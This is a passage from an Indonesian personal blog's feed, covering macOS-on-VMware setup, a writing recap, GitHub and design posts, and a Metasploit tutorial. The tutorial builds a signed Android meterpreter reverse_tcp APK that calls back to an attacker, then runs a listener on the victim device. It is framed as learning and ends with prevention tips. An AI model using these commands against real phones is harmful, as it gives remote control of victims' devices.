&lt;h2 id=&quot;instalasi-macos&quot; tabindex=&quot;-1&quot;&gt;Instalasi macOS&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/#instalasi-macos&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Pada VM, nyalakan dengan klik Power on this virtual machine&lt;/li&gt;
&lt;li&gt;VM akan dijalankan dan instalasi macOS akan dimuat&lt;/li&gt;
&lt;li&gt;Jika instalasi sudah siap, pilih Bahasa, lalu klik tanda panah&lt;/li&gt;
&lt;li&gt;Pada macOS Utilities, pilih Disk Utility, pilih VMware Virtual SATA, klik Erase&lt;/li&gt;
&lt;li&gt;Pada popup Erase, beri nama disk, misal Hard Drive, pilih Format macOS Extended, pilih Scheme GUID Partition Map, lalu klik Erase&lt;/li&gt;
&lt;li&gt;Pada macOS Utilities, pilih Reinstall macOS, klik Continue, klik Agree pada TOS untuk lanjut, pilih disk yang sudah diberi nama tadi, lalu klik Install maka instalasi macOS akan berjalan&lt;/li&gt;
&lt;li&gt;Jika instalasi sudah selesai, pilih Negara, setel Wi-Fi, pada Privacy klik Continue untuk lanjut, pilih Don’t transfer any information now lalu klik Continue, pada Apple ID klik Set Up Later lalu klik Skip, pada TOS klik Agree untuk lanjut, pada Computer Account isi nama dan password, pada Improve Siri pilih Not Now, instalasi macOS akan berlanjut
Jika sudah memuat desktop, tutup VM, lalu edit VM, klik Hard Disk (yang kita tambah sebagai disk instalasi), klik Remove, klik OK&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;instalasi-vmware-tools&quot; tabindex=&quot;-1&quot;&gt;Instalasi VMware Tools&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/#instalasi-vmware-tools&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Nyalakan VM, jika sudah memuat desktop, klik VM di Menubar VM, klik Install VMware Tools&lt;/li&gt;
&lt;li&gt;Pada jendela VMware tools, klik Continue, klik Install, klik Continue Installation lalu masukkan password akun&lt;/li&gt;
&lt;li&gt;Pada popup Privacy klik icon gembok, klik Allow, lalu tutup jendela&lt;/li&gt;
&lt;li&gt;Jika instalasi sudah selesai, klik Restart&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;masalah&quot; tabindex=&quot;-1&quot;&gt;Masalah&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/#masalah&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;this-virtual-machine-requires-avx2-but-avx-is-not-present-this-virtual-machine-cannot-be-powered-on&quot; tabindex=&quot;-1&quot;&gt;This virtual machine requires AVX2 but AVX is not present. This virtual machine cannot be powered on&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/#this-virtual-machine-requires-avx2-but-avx-is-not-present-this-virtual-machine-cannot-be-powered-on&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Buka folder VM, misal &lt;code&gt;C:\Virtual Machines\Catalina 10.15&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Buka satu-satunya file .vmx menggunakan Notepad&lt;/li&gt;
&lt;li&gt;Beri nilai 10 pada virtualHW.version, misal &lt;code&gt;virtualHW.version = &amp;quot;10&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Masukkan kode berikut ke baris paling bawah&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;smc.version = &amp;quot;0&amp;quot;
cpuid.0.eax = &amp;quot;0000:0000:0000:0000:0000:0000:0000:1011&amp;quot;
cpuid.0.ebx = &amp;quot;0111:0101:0110:1110:0110:0101:0100:0111&amp;quot;
cpuid.0.ecx = &amp;quot;0110:1100:0110:0101:0111:0100:0110:1110&amp;quot;
cpuid.0.edx = &amp;quot;0100:1001:0110:0101:0110:1110:0110:1001&amp;quot;
cpuid.1.eax = &amp;quot;0000:0000:0000:0001:0000:0110:0111:0001&amp;quot;
cpuid.1.ebx = &amp;quot;0000:0010:0000:0001:0000:1000:0000:0000&amp;quot;
cpuid.1.ecx = &amp;quot;1000:0010:1001:1000:0010:0010:0000:0011&amp;quot;
cpuid.1.edx = &amp;quot;0000:0111:1000:1011:1111:1011:1111:1111&amp;quot;
smbios.reflectHost = &amp;quot;TRUE&amp;quot;
hw.model = &amp;quot;MacBookPro14,3&amp;quot;
board-id = &amp;quot;Mac-551B86E5744E2388&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;mouse-danatau-keyboard-tidak-terhubung-saat-instalasi&quot; tabindex=&quot;-1&quot;&gt;Mouse dan/atau keyboard tidak terhubung saat instalasi&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/#mouse-danatau-keyboard-tidak-terhubung-saat-instalasi&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Tutup VM dengan cara klik kanan pada tab VM, klik Power, klik Shut Down Guest, klik Shut Down&lt;/li&gt;
&lt;li&gt;Pada VM, klik Edit virtual machine settings, Buka USB controller, pada USB compatibility, pilih USB 2.0&lt;/li&gt;
&lt;/ol&gt;
</content>
	</entry>
	<entry>
		<title>Rekapan Tulisan Saya Selama Pekan Ini, 9-15 Sep 24</title>
		<link href="https://hariswah.idin.my.id/blog/rekapan-tulisan-saya-selama-pekan-ini-9-15-sep-24/"/>
		<updated>2024-09-15T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/rekapan-tulisan-saya-selama-pekan-ini-9-15-sep-24/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;senin-9-september-2024&quot; tabindex=&quot;-1&quot;&gt;Senin, 9 September 2024&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rekapan-tulisan-saya-selama-pekan-ini-9-15-sep-24/#senin-9-september-2024&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://hariswahidin.com/blog/dilema-saya-dalam-menentukan-platform-blog-untuk-menulis&quot;&gt;Dilema Saya Dalam Menentukan Platform Blog Untuk Menulis&lt;/a&gt;
&lt;a href=&quot;https://hariswahidin.com/blog/aplikasi-wysiwyg-email-harus-dibuat-versi-androidnya&quot;&gt;Aplikasi WYSIWYG Email Harus Dibuat Versi Android-nya&lt;/a&gt;
&lt;a href=&quot;https://hariswahidin.com/blog/5-trik-css-agar-tampilan-frontend-mirip-dengan-desain-mockup&quot;&gt;5 Trik CSS Agar Tampilan Front-end Mirip Dengan Desain Mockup&lt;/a&gt;
Awal pekan ini saya menulis 3 artikel sekaligus karena harus melengkapi 2 artikel yang harusnya diterbitkan hari sabtu dan minggu di pekan sebelumnya. Tidak ada devlog di tanggal ini.&lt;/p&gt;
&lt;h2 id=&quot;rabu-11-september-2024&quot; tabindex=&quot;-1&quot;&gt;Rabu, 11 September 2024&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rekapan-tulisan-saya-selama-pekan-ini-9-15-sep-24/#rabu-11-september-2024&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://hariswahidin.com/blog/membandingkan-3-font-yang-mudah-dibaca-untuk-koding&quot;&gt;Membandingkan 3 Font Yang Mudah Dibaca Untuk Koding&lt;/a&gt;
&lt;a href=&quot;https://hariswahidin.com/blog/membuat-komponen-input-yang-fleksibel-untuk-desain-apapun&quot;&gt;Membuat Komponen Input Yang Fleksibel Untuk Desain Apapun&lt;/a&gt;
Di hari Rabu saya membuat 2 artikel untuk melengkapi artikel hari Selasa dan menambah progress templating pada halaman list blog dan detail blog.&lt;/p&gt;
&lt;h2 id=&quot;kamis-12-september-2024&quot; tabindex=&quot;-1&quot;&gt;Kamis, 12 September 2024&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rekapan-tulisan-saya-selama-pekan-ini-9-15-sep-24/#kamis-12-september-2024&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://hariswahidin.com/blog/google-material-color-dan-icons-2014-masih-jadi-solusi-cepat-mendesain&quot;&gt;Google Material Color Dan Icons 2014 Masih Solusi Cepat Mendesain&lt;/a&gt;
Saya membuat 1 artikel dan tidak ada devlog pada tanggal ini.&lt;/p&gt;
&lt;h2 id=&quot;jumat-13-september-2024&quot; tabindex=&quot;-1&quot;&gt;Jumat, 13 September 2024&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rekapan-tulisan-saya-selama-pekan-ini-9-15-sep-24/#jumat-13-september-2024&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://hariswahidin.com/blog/alasan-saya-harus-aktif-berkontribusi-di-repositori-github&quot;&gt;Alasan Saya Harus Aktif Berkontribusi di Repositori GitHub&lt;/a&gt;
Saya membuat artikel pada tengah malam yang membuat tanggal publikasi menjadi tanggal 14, tidak ada devlog di tanggal ini, saya juga sambil melakukan instalasi macOS pada VMware.&lt;/p&gt;
&lt;h2 id=&quot;minggu-15-september-2024&quot; tabindex=&quot;-1&quot;&gt;Minggu, 15 September 2024&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rekapan-tulisan-saya-selama-pekan-ini-9-15-sep-24/#minggu-15-september-2024&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://hariswahidin.com/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024&quot;&gt;Belajar Android Hacking dengan Metasploit Di Tahun 2024&lt;/a&gt;
Saya membuat 2 artikel termasuk artikel rekap ini di tengah malam sehingga publikasi menjadi tanggal 16, tidak ada devlog pada tanggal ini.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Membuat File .VMDK Sendiri untuk Instalasi macOS di VMware</title>
		<link href="https://hariswah.idin.my.id/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware/"/>
		<updated>2024-09-15T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware/</id>
		<language>id-ID</language>
			<category term ="Hacking" />
		<content type="html">&lt;h2 id=&quot;prasyarat&quot; tabindex=&quot;-1&quot;&gt;Prasyarat&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware/#prasyarat&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Windows 10/11&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;persyaratan&quot; tabindex=&quot;-1&quot;&gt;Persyaratan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware/#persyaratan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/corpnewt/gibMacOS&quot;&gt;gibMacOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://qemu.weilnetz.de/&quot;&gt;QEMU&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;instalasi-gibmacos&quot; tabindex=&quot;-1&quot;&gt;Instalasi gibMacOS&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware/#instalasi-gibmacos&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Unduh repo gibMacOS dengan klik tombol Code &amp;gt; Download ZIP di GitHub, pastikan membukanya lewat desktop&lt;/li&gt;
&lt;li&gt;Ekstrak file gibMacOS-master.zip, buka foldernya dan jalankan gibMacOS.bat&lt;/li&gt;
&lt;li&gt;Jika muncul tampilan Python Not Found, jalankan perintah y untuk melakukan instalasi Python 3&lt;/li&gt;
&lt;li&gt;Simak urutan list Available Products&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;File instalasi macOS hanya terdapat sampai Catalina, dari Big Sur ke atas hanya terdapat file upgrade yang hanya dapat dilakukan jika sudah di dalam desktop macOS.&lt;/p&gt;
&lt;h2 id=&quot;download-catalina&quot; tabindex=&quot;-1&quot;&gt;Download Catalina&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware/#download-catalina&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Saat artikel ditulis, Catalina versi 10.15.7 adalah yang mutakhir dan berada di urutan ke-10&lt;/li&gt;
&lt;li&gt;Jalankan perintah nomor urut macOS yang dipilih, misal 10 untuk Catalina versi 10.15.7&lt;/li&gt;
&lt;li&gt;Proses akan dimulai untuk mengunduh beberapa file&lt;/li&gt;
&lt;li&gt;Jika unduhan sudah selesai, akan muncul tampilan File saved to yang mengarah ke folder di mana file diunduh&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Di dalam folder unduhan akan terdapat file bernama BaseSystem.dmg yang kita perlukan untuk konversi ke format file .vmdk (Virtual Machine Disk)&lt;/p&gt;
&lt;h2 id=&quot;instalasi-qemu&quot; tabindex=&quot;-1&quot;&gt;Instalasi QEMU&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware/#instalasi-qemu&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Kunjungi website QEMU, pilih folder sesuai arsitektur komputer, misal folder w64 untuk x64, lalu pilih 2024&lt;/li&gt;
&lt;li&gt;Saat artikel ini ditulis, file mutakhir dari QEMU ialah qemu-w64-setup-20240903.exe, pilih untuk mengunduh&lt;/li&gt;
&lt;li&gt;Jalankan program QEMU untuk memulai instalasi, pada langkah Choose Components, hanya cek Tools dan DLL Library, lalu selesaikan instalasi&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;pasang-perintah-qemu-ke-env-windows&quot; tabindex=&quot;-1&quot;&gt;Pasang perintah QEMU ke Env. Windows&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware/#pasang-perintah-qemu-ke-env-windows&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Salin lokasi instalasi di mana file qemu-img.exe berada, misal C:\Users\John\AppData\Local\Programs\qemu&lt;/li&gt;
&lt;li&gt;Buka Env. Windows dengan menekan tombol Win lalu ketik env, lalu klik &amp;quot;Edit the system environtment variables&amp;quot;, lalu klik Environtment Variables&lt;/li&gt;
&lt;li&gt;Di bagian User, klik Path, lalu klik Edit&lt;/li&gt;
&lt;li&gt;Klik New lalu tempel lokasi qemu-img.exe yang sudah disalin&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;basesystemdmg-to-vmdk&quot; tabindex=&quot;-1&quot;&gt;BaseSystem.dmg to VMDK&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware/#basesystemdmg-to-vmdk&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Buka cmd dan navigasikan ke folder unduhan macOS di mana BaseSystem.dmg berada
&lt;a href=&quot;https://hariswah.idin.my.id/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware/#download-catalina&quot;&gt;Download Catalina - Step 4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Jalankan perintah berikut untuk mengkonversi ke format file .vmdk
&lt;code&gt;qemu-img convert -O vmdk -o compat6 BaseSystem.dmg macos-catalina-recovery.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
	</entry>
	<entry>
		<title>Belajar Android Hacking dengan Metasploit di Tahun 2024</title>
		<link href="https://hariswah.idin.my.id/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024/"/>
		<updated>2024-09-15T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024/</id>
		<language>id-ID</language>
			<category term ="Hacking" />
		<content type="html">&lt;h2 id=&quot;disclaimer&quot; tabindex=&quot;-1&quot;&gt;Disclaimer&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024/#disclaimer&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Di artikel ini saya menjelaskan langkah-langkah untuk membuat payload android menggunakan Metasploit sebagai metode peretasan atas dasar pembelajaran untuk menambah wawasan dan mencegah terjadinya peretasan.&lt;/p&gt;
&lt;p&gt;Saya menggunakan sistem operasi Windows, silakan pahami perbedaan dalam langkah-langkah jika menggunakan sistem operasi lain.&lt;/p&gt;
&lt;h2 id=&quot;download&quot; tabindex=&quot;-1&quot;&gt;Download&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024/#download&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.metasploit.com/download&quot;&gt;Metasploit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://adoptium.net/&quot;&gt;OpenJDK&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Saat mengunduh OpenJDK, sesuaikan sistem operasi dan arsitektur komputer, lalu pilih Package Type: JDK.
Sebelum instal Metasploit, silakan baca dokumentasi di website official-nya.
Saat instalasi Metasploit, akan muncul satu atau lebih permintaan akses administrator saat proses instalasi berlangsung.&lt;/p&gt;
&lt;h2 id=&quot;metasploit&quot; tabindex=&quot;-1&quot;&gt;Metasploit&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024/#metasploit&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Buka folder metasploit lewat cmd, C:\metasploit-framework (Jika tidak diubah saat instalasi)&lt;/li&gt;
&lt;li&gt;Untuk melihat perintah yang tersedia, jalankan perintah
`` msfconsole`&lt;/li&gt;
&lt;li&gt;Untuk melihat list platform output yang tersedia, jalankan perintah
&lt;code&gt;msfvenom --platform android/meterpreter/reverse_tcp –list plafroms&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Untuk melihat list arsitektur output yang tersedia, jalankan perintah
&lt;code&gt;msfvenom --platform android/meterpreter/reverse_tcp –list aarchs&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;payload&quot; tabindex=&quot;-1&quot;&gt;Payload&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024/#payload&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Jalankan perintah berikut untuk membuat payload pada platform android.
&lt;code&gt;msfvenom --payload android/meterpreter/reverse_tcp –platform android –aarch dalvik LHOST=192.168.100.7 LPORT=4444 –out test.apk&lt;/code&gt;
LHOST adalah IP milik attacker dan LPORT adalah port yang akan digunakan sebagai listener dari attacker.&lt;/p&gt;
&lt;p&gt;Salin output file berformat .apk di path C:\metasploit-framework ke dalam folder openjdk\bin. Lalu buka folder openjdk\bin lewat cmd, dan ikuti langkah berikut.&lt;/p&gt;
&lt;h2 id=&quot;sign-apk&quot; tabindex=&quot;-1&quot;&gt;Sign APK&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024/#sign-apk&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Jalankan perintah ini untuk membuat keystore yang diperlukan untuk sign .apk
&lt;code&gt;keytool -genkey -V -keystore key.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Jalankan perintah ini untuk sign .apk
&lt;code&gt;jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore test.apk test&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Jalankan perintah ini untuk mengecek .apk telah di-sign
&lt;code&gt;jarsigner -verify -verbose -certs test.apk&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sampai langkah ini file .apk berisi payload sudah di-sign.&lt;/p&gt;
&lt;h2 id=&quot;monitoring&quot; tabindex=&quot;-1&quot;&gt;Monitoring&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024/#monitoring&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Jalankan perintah ini satu per-satu untuk memulai listener dengan pengaturan payload yang sudah dibuat di langkah sebelumnya.
&lt;code&gt;msfconsole&lt;/code&gt;
&lt;code&gt;use multi/handler&lt;/code&gt;
&lt;code&gt;set PAYLOAD android/meterpreter/reverse_tcp&lt;/code&gt;
&lt;code&gt;set LHOST 192.168.100.1&lt;/code&gt;
&lt;code&gt;set LPORT 4444&lt;/code&gt;
&lt;code&gt;exploit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Sampai langkah ini listener sudah berjalan untuk memonitor. Jika aplikasi diinstal (Do with your own risk) dengan permission yang diizinkan lalu dijalankan (secara default), akan muncul sesi peretasan pada listener.&lt;/p&gt;
&lt;h2 id=&quot;peretasan&quot; tabindex=&quot;-1&quot;&gt;Peretasan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024/#peretasan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Jalankan perintah berikut pada listener untuk mengecek info sistem pada device yang sudah diinstal payload
&lt;code&gt;sysinfo&lt;/code&gt;
Temukan perintah lainnya sebagai pembelajaran di dokumentasi pada website official Metasploit.&lt;/p&gt;
&lt;h2 id=&quot;pencegahan&quot; tabindex=&quot;-1&quot;&gt;Pencegahan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-android-hacking-dengan-metasploit-di-tahun-2024/#pencegahan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Cara mencegah peretasan dengan metode aplikasi yang disusupi payload adalah&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Tidak mengunduh aplikasi dari situs atau aplikasi yang tidak resmi&lt;/li&gt;
&lt;li&gt;Selalu izinkan platform untuk melakukan scanning setiap kali aplikasi diinstal&lt;/li&gt;
&lt;li&gt;Memilah permission dengan hanya mengizinkan yang diperlukan dan menolak izin yang tidak masuk akal aplikasi tersebut&lt;/li&gt;
&lt;/ol&gt;
</content>
	</entry>
	<entry>
		<title>Alasan Saya Harus Aktif Berkontribusi di Repositori GitHub</title>
		<link href="https://hariswah.idin.my.id/blog/alasan-saya-harus-aktif-berkontribusi-di-repositori-github/"/>
		<updated>2024-09-13T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/alasan-saya-harus-aktif-berkontribusi-di-repositori-github/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/alasan-saya-harus-aktif-berkontribusi-di-repositori-github/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Saya perlu aktif berkontribusi ke repositori alasannya tentu sebagai usaha untuk tekun di bidang pekerjaan saya. Membayangkan dapat berkontribusi ke repositori open-source memang menarik, tapi saya mengutamakan portfolio dari repositori milik saya sendiri sebagai bentuk percobaan penyelesaian sebuah kasus.&lt;/p&gt;
&lt;h2 id=&quot;sebagai-portfolio&quot; tabindex=&quot;-1&quot;&gt;Sebagai Portfolio&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/alasan-saya-harus-aktif-berkontribusi-di-repositori-github/#sebagai-portfolio&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Saya percaya bahwa aktif-tidaknya kontribusi yang terlihat pada profil GitHub memiki pengaruh pada portfolio, jika pembaca sudah tidak setuju dengan paragraf pertama ini, membaca selebihnya akan sia-sia. Tentu kita membutuhkan portfolio sebagai modal utama untuk mendapatkan peluang dalam berkarir.&lt;/p&gt;
&lt;h2 id=&quot;untuk-berkomunitas&quot; tabindex=&quot;-1&quot;&gt;Untuk Berkomunitas&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/alasan-saya-harus-aktif-berkontribusi-di-repositori-github/#untuk-berkomunitas&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Manfaat lain dari aktif berkontribusi adalah peluang untuk mengenal komunitas lain, dalam konteks ini adalah kelompok sosial yang terhubung dengan repositori di mana kita berkontribusi. Dari mengerti bidang fokus seseorang lewat profil GitHub-nya, hingga bersosial yang memungkinkan juga untuk dapat peluang berkarir.&lt;/p&gt;
&lt;h2 id=&quot;kenapa-github&quot; tabindex=&quot;-1&quot;&gt;Kenapa GitHub?&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/alasan-saya-harus-aktif-berkontribusi-di-repositori-github/#kenapa-github&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;GitLab masih menjadi hosting repositori paling populer dibandingkan GitLab yang biasanya digunakan self-hosted bersama server fisik milik sebuah perusahaan, juga dibandingkan BitBucket yang biasanya digunakan tanpa memiliki server fisik sembari memanfaatkan layanan milik Atlassian lainnya untuk pekerjaan.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Google Material Color dan Icons 2014 Masih Solusi Cepat Mendesain</title>
		<link href="https://hariswah.idin.my.id/blog/google-material-color-dan-icons-2014-masih-jadi-solusi-cepat-mendesain/"/>
		<updated>2024-09-11T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/google-material-color-dan-icons-2014-masih-jadi-solusi-cepat-mendesain/</id>
		<language>id-ID</language>
			<category term ="Web Development" />
		<content type="html">&lt;p&gt;Material Design 2 yang dirilis oleh Google ke publik pada tahun 2014 memiliki tools yang sampai sekarang masih berguna dan sangat mudah digunakan, yaitu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/google-material-color-dan-icons-2014-masih-jadi-solusi-cepat-mendesain/#google-fonts&quot;&gt;Google Fonts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/google-material-color-dan-icons-2014-masih-jadi-solusi-cepat-mendesain/#material-icons&quot;&gt;Material Icons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/google-material-color-dan-icons-2014-masih-jadi-solusi-cepat-mendesain/#material-design-color-palettes&quot;&gt;Material Design color palettes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;google-fonts&quot; tabindex=&quot;-1&quot;&gt;Google Fonts&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/google-material-color-dan-icons-2014-masih-jadi-solusi-cepat-mendesain/#google-fonts&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Memasang iconnya secara langsung lewat CDN dari Google Fonts seperti ini&lt;/p&gt;
